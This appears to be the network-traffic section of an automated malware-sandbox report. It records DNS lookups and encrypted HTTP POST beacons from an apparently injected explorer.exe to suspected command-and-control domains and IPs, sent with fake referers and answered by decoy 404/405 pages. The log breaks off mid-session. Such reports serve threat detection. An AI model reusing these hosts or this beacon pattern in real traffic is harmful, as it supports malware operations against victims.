Dec 19, 2024 11:01:31.331737995 CET	50031	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:31.334003925 CET	50031	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:31.451493025 CET	80	50031	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:31.453659058 CET	80	50031	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:32.784692049 CET	80	50031	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:32.790004015 CET	50029	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:32.790667057 CET	50032	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:32.904999971 CET	50031	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:32.910073996 CET	80	50029	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:32.910155058 CET	50029	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:32.910269976 CET	80	50032	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:32.910490990 CET	50032	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:32.910561085 CET	50032	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:32.910592079 CET	50032	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:33.030103922 CET	80	50032	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:33.030350924 CET	80	50032	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:34.291301012 CET	80	50032	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:34.300523043 CET	50030	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:34.301254988 CET	50033	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:34.394095898 CET	50032	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:34.421077967 CET	80	50030	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:34.421317101 CET	50030	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:34.421447039 CET	80	50033	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:34.421528101 CET	50033	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:34.421761990 CET	50033	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:34.421787977 CET	50033	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:34.541438103 CET	80	50033	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:34.541663885 CET	80	50033	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:35.755727053 CET	80	50033	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:35.826874018 CET	50033	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:39.752383947 CET	50031	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:39.753259897 CET	50034	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:39.872502089 CET	80	50031	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:39.872576952 CET	50031	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:39.872857094 CET	80	50034	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:39.872936964 CET	50034	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:39.873128891 CET	50034	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:39.873186111 CET	50034	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:39.992650032 CET	80	50034	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:39.992850065 CET	80	50034	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:41.227861881 CET	80	50034	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:41.326838970 CET	50034	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:41.559287071 CET	50032	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:41.595247030 CET	50035	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:41.679421902 CET	80	50032	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:41.679573059 CET	50032	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:41.715002060 CET	80	50035	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:41.715082884 CET	50035	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:41.715229988 CET	50035	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:41.715244055 CET	50035	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:41.834784031 CET	80	50035	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:41.834892035 CET	80	50035	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:43.091700077 CET	80	50035	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:43.098989010 CET	50033	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:43.099733114 CET	50036	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:43.201831102 CET	50035	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:43.222151995 CET	80	50033	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:43.222215891 CET	50033	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:43.222803116 CET	80	50036	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:43.222882032 CET	50036	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:43.223036051 CET	50036	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:43.223078012 CET	50036	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:43.342860937 CET	80	50036	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:43.342977047 CET	80	50036	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:44.556948900 CET	80	50036	194.85.61.76	192.168.2.5
Dec 19, 2024 11:01:44.639354944 CET	50036	80	192.168.2.5	194.85.61.76
Dec 19, 2024 11:01:49.604857922 CET	50034	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:49.605623960 CET	50037	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:49.725018024 CET	80	50034	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:49.725275993 CET	50034	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:49.725279093 CET	80	50037	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:49.725372076 CET	50037	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:49.725538015 CET	50037	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:49.725586891 CET	50037	80	192.168.2.5	94.156.177.51
Dec 19, 2024 11:01:49.846126080 CET	80	50037	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:49.846189976 CET	80	50037	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:51.089430094 CET	80	50037	94.156.177.51	192.168.2.5
Dec 19, 2024 11:01:51.139377117 CET	50037	80	192.168.2.5	94.156.177.51

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 19, 2024 10:58:10.189366102 CET	62897	53	192.168.2.5	1.1.1.1
Dec 19, 2024 10:58:10.835478067 CET	53	62897	1.1.1.1	192.168.2.5
Dec 19, 2024 10:58:12.325762033 CET	52325	53	192.168.2.5	1.1.1.1
Dec 19, 2024 10:58:12.970824957 CET	53	52325	1.1.1.1	192.168.2.5
Dec 19, 2024 10:58:14.483879089 CET	64375	53	192.168.2.5	1.1.1.1
Dec 19, 2024 10:58:15.282099962 CET	53	64375	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 19, 2024 10:58:10.189366102 CET	192.168.2.5	1.1.1.1	0xc04c	Standard query (0)	constractionscity1991.lat	A (IP address)	IN (0x0001)	false
Dec 19, 2024 10:58:12.325762033 CET	192.168.2.5	1.1.1.1	0xe875	Standard query (0)	restructurisationservice.ru	A (IP address)	IN (0x0001)	false
Dec 19, 2024 10:58:14.483879089 CET	192.168.2.5	1.1.1.1	0x336d	Standard query (0)	connecticutproperty.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 19, 2024 10:58:10.835478067 CET	1.1.1.1	192.168.2.5	0xc04c	No error (0)	constractionscity1991.lat	94.156.177.51	A (IP address)	IN (0x0001)	false
Dec 19, 2024 10:58:12.970824957 CET	1.1.1.1	192.168.2.5	0xe875	No error (0)	restructurisationservice.ru	94.156.177.51	A (IP address)	IN (0x0001)	false
Dec 19, 2024 10:58:15.282099962 CET	1.1.1.1	192.168.2.5	0x336d	No error (0)	connecticutproperty.ru	194.85.61.76	A (IP address)	IN (0x0001)	false
Dec 19, 2024 10:58:15.282099962 CET	1.1.1.1	192.168.2.5	0x336d	No error (0)	connecticutproperty.ru	109.70.26.37	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ferxsaaokurf.com

constractionscity1991.lat

styqcrwcosyf.com

restructurisationservice.ru

fsprrtqwfiiffy.com

connecticutproperty.ru

mitmeuexacjewbqk.net

dfnihlnejuw.net

artooybeyrmney.net

sjfvofnibfsk.com

dyokvtiefurhr.org

vtrdqlyaxcnu.net

weaudxshysghyed.org

rmlqaewyesef.com

ipahuxcmqng.net

yebogyjrnkttg.com

mbqncgggetrc.com

qjvjeavryrj.com

jisidxjkipgcbgc.org

uloowasjyvbxjte.net

jghirgxdfdtfej.com

aemrvdevcrdbnu.net

caegqqrnvwyec.org

gnjdvgwpgdpin.com

randrxuiexkkd.org

egkbqdynffoi.com

jkpvubjbjugu.com

pekwfbrjnpwbirs.com

rllvcebkwfymagl.com

ylfiqfbsvxsdiv.net

ggphwqihuaca.net

nbcjwexjjibiqt.com

tjeuikagddjvc.com

yylbqgigqdkmsn.org

ufirisacqvk.net

ipingdnctvhe.net

xvohygrorigngv.net

iqmcbtituxk.net

rfcnfamftxutm.net

ukacgtlptxyqmcdq.net

daxnrqammsrat.org

dsjauwmdkccdd.com

tupclykpsytewcxu.org

livftrpgdgydc.com

drjnlhtrahircg.org

lhhcirujvotn.org

unomwhjdoaagckk.net

drmwwxjjhona.net

jqxnkwoysqpv.net

swhsbooovvrt.org

odsnbdoswem.net

jrdgusgumlecx.com

ljmtvjfukirthh.com

vlctchybxmsfmihs.net

sgmoymnkvjycr.com

nnfjblhdxniepv.org

gwxdktlpqqov.org

ygdgxkxjwyg.org

nqrqvcheqmo.net

fkdpjansght.com

viejsmtmgdxamty.com

quegfhrneryhjosy.org

ldbqkqcjtqgsavin.com

mmxcodigejxhlx.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49735	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:58:10.959477901 CET	282	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ferxsaaokurf.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 367 Host: constractionscity1991.lat
Dec 19, 2024 10:58:10.959510088 CET	367	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be ac 1a 27 bd Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC)'cq?Mm\|G`!Ms$%%N#49F#tR#KFnZ-RaR/oWAMw`b'\"\|HSU]>[ZuO&NEP"\;e
Dec 19, 2024 10:58:12.319236040 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:58:12 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49741	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:58:13.098994970 CET	284	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://styqcrwcosyf.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 280 Host: restructurisationservice.ru
Dec 19, 2024 10:58:13.099046946 CET	280	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 8a 22 49 ce Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)"I/^ZRP4nS_#N\Zp"2nU=kpn^c`m}a`@XgYO@7}QPbViSo#gD;nC[}` al
Dec 19, 2024 10:58:14.481053114 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:58:14 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49747	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:58:15.402757883 CET	281	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fsprrtqwfiiffy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 252 Host: connecticutproperty.ru
Dec 19, 2024 10:58:15.402770042 CET	252	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be bd 0d 36 82 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)6=][F{Vi9UVtoSysPs`tl%/yI:cjjw&--2O5.~@.7$l$y2w"lx6VkyV"HYEQ"
Dec 19, 2024 10:58:16.737190962 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 09:58:16 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49897	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:21.502511978 CET	286	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mitmeuexacjewbqk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 361 Host: constractionscity1991.lat
Dec 19, 2024 10:59:21.502590895 CET	361	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 9c 49 7b 90 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)I{{2JH}Ml@(`/sqUcAq-'T\|DYlF~d$qv;qdQ<Z\|_W`{>WaFOu;raGQ9QT1J
Dec 19, 2024 10:59:22.860023022 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:59:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49902	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:22.987339020 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dfnihlnejuw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 268 Host: restructurisationservice.ru
Dec 19, 2024 10:59:22.987365007 CET	268	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be ee 3b 32 a9 Data Ascii: _Z4XK<VCSB"\SWJs<\M.x]2m-^JrC);2Aj(VBsE;]m0j'\|78{~rjd@gk}gB]S8L5^&A+Oa_&g&z!CPg1-fSSq!Lz3lW
Dec 19, 2024 10:59:24.480494976 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 19 Dec 2024 09:59:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49908	194.85.61.76	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:24.609102964 CET	281	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://artooybeyrmney.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 171 Host: connecticutproperty.ru
Dec 19, 2024 10:59:24.609158039 CET	171	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 9a 5f 41 d4 Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)_Aw{DBBaw5)`wX=kcR<,]hsVAttL"k:qA
Dec 19, 2024 10:59:25.943614960 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 19 Dec 2024 09:59:25 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49914	94.156.177.51	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 10:59:26.316266060 CET	282	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sjfvofnibfsk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 156 Host: constractionscity1991.lat
Dec 19, 2024 10:59:26.316322088 CET	156	OUT	Data Raw: a1 5f 08 5a f3 34 58 be bc 4b a4 bd 8d c7 2a 3c 56 43 b2 53 17 bb 42 22 a1 5c bc 19 01 f8 04 53 cb 57 d4 fc 4a d4 73 3c 5c be cd 04 b6 4d 18 2e a5 0e 78 5d cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 84 39 2f cd Data Ascii: _Z4XK*<VCSB"\SWJs<\M.x]2m-^JrC)9/8dKA]$:L}u,kD^n+j%6nim
